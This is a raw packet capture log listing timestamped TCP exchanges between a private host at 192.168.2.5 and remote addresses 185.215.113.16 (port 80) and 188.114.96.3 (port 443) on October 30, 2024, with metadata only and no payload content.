Oct 30, 2024 21:56:29.959628105 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.959661961 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.959671974 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.959718943 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.959728956 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.959745884 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.959877014 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.961631060 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.961688042 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.961705923 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.961716890 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.961726904 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.961738110 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.961755991 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.961790085 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.962140083 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.963071108 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.995800018 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.995857000 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.995867968 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.995877028 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.995882034 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.995893955 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.995919943 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.996404886 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.996428013 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.996476889 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.996480942 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.996493101 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.996520996 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.996859074 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.996901035 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.996903896 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.996911049 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.996938944 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.996957064 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.040098906 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.040119886 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.040132999 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.040167093 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.040204048 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.084086895 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.084104061 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.084125042 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.084139109 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.084152937 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.084152937 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.084208965 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.084553003 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.084567070 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.084582090 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.084597111 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.084597111 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.084614992 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.084621906 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.084639072 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.085405111 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.085458040 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.085469961 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.085514069 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.120248079 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.120357037 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.120373011 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.120414972 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.120450974 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.120599031 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.120611906 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.120625973 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.120656013 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.120682955 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.120944023 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.120991945 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.121014118 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.121028900 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.121042013 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.121073961 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.121098995 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.121851921 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.121902943 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.164405107 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.164464951 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.164479971 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.164491892 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.164513111 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.164530039 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.173259974 CET	443	50243	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:30.173382998 CET	50243	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:30.174644947 CET	50243	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:30.174670935 CET	443	50243	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:30.174895048 CET	443	50243	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:30.208394051 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.208436966 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.208461046 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.208475113 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.208491087 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.208514929 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.208558083 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.209076881 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.209116936 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.209130049 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.209131956 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.209146976 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.209155083 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.209167004 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.209186077 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.209863901 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.209912062 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.209927082 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.209944010 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.209954977 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.209984064 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.219265938 CET	50243	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:30.239573002 CET	50243	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:30.239573956 CET	50243	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:30.239655972 CET	443	50243	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:30.244769096 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.244798899 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.244812965 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.244827032 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.244853973 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.245018005 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.245023012 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.245140076 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.245183945 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.245215893 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.245254040 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.245327950 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.245368958 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.245385885 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.245400906 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.245414972 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.245426893 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.245440960 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.245459080 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.288914919 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.288932085 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.288942099 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.289016008 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.289058924 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.332737923 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.332770109 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.332801104 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.332856894 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.332871914 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.332885027 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.332986116 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.332986116 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.332986116 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.333518028 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.333573103 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.333585978 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.333600044 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.333719969 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.334496975 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.334511042 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.334527016 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.334538937 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.334587097 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.334609985 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.368988037 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.369067907 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.369133949 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.369148970 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.369163990 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.369190931 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.369210958 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.369340897 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.369376898 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.369394064 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.369415045 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.369580030 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.370194912 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.370304108 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.413158894 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.413187981 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.413203001 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.413233042 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.413377047 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.457386017 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.457412004 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.457427979 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.457437992 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.457442045 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.457454920 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.457458973 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.457472086 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.457494974 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.457506895 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.457534075 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.457549095 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.458244085 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.458261967 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.458276987 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.458282948 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.458292961 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.458302021 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.458308935 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.458328009 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.459033012 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.459064960 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.459078074 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.459084988 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.459103107 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.459134102 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.459145069 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.459290028 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.459753036 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.459824085 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.493307114 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.493326902 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.493391991 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.493396044 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.493444920 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.493474960 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.493524075 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.493530035 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.493576050 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.493577003 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.493590117 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.493604898 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.493624926 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.493635893 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.494266987 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.494293928 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.494318008 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.494329929 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.537643909 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.537663937 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.537678957 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.537735939 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.537735939 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.583276033 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.583365917 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.583378077 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.583388090 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.583451033 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.583497047 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.583647966 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.583700895 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.583723068 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.583738089 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.583756924 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.583784103 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.584487915 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.584501982 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.584516048 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.584527969 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.584558964 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.584570885 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.585309029 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.585324049 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.585342884 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.585356951 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.585361004 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.585383892 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.585410118 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.585979939 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.588380098 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.617764950 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.617803097 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.617819071 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.617858887 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.617898941 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.617913008 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.617928982 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.617942095 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.617969990 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.618001938 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.661771059 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.661976099 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.661989927 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.661997080 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.662007093 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.662013054 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.662102938 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.707758904 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.707811117 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.707825899 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.707849026 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.707860947 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.707921028 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.707937956 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.708142042 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.708168983 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.708184004 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.708220005 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.708230972 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.708528042 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.708655119 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.708667040 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.708697081 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.708703041 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.708729982 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.708730936 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.708753109 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.708771944 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.709398031 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.709436893 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.709441900 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.709454060 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.709482908 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.709492922 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.709527969 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.709542990 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.709574938 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.709585905 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.710306883 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.712590933 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.742247105 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.742261887 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.742274046 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.742309093 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.742327929 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.742382050 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.742398024 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.742412090 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.742423058 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.742455006 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.786242008 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.786277056 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.786288977 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.786300898 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.786319971 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.786333084 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.786372900 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.786406040 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.832036972 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.832073927 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.832088947 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.832102060 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.832123041 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.832169056 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.832187891 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.832325935 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.832355976 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.832370043 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.832400084 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.832422972 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.832623005 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.832652092 CET	80	50241	185.215.113.16	192.168.2.5
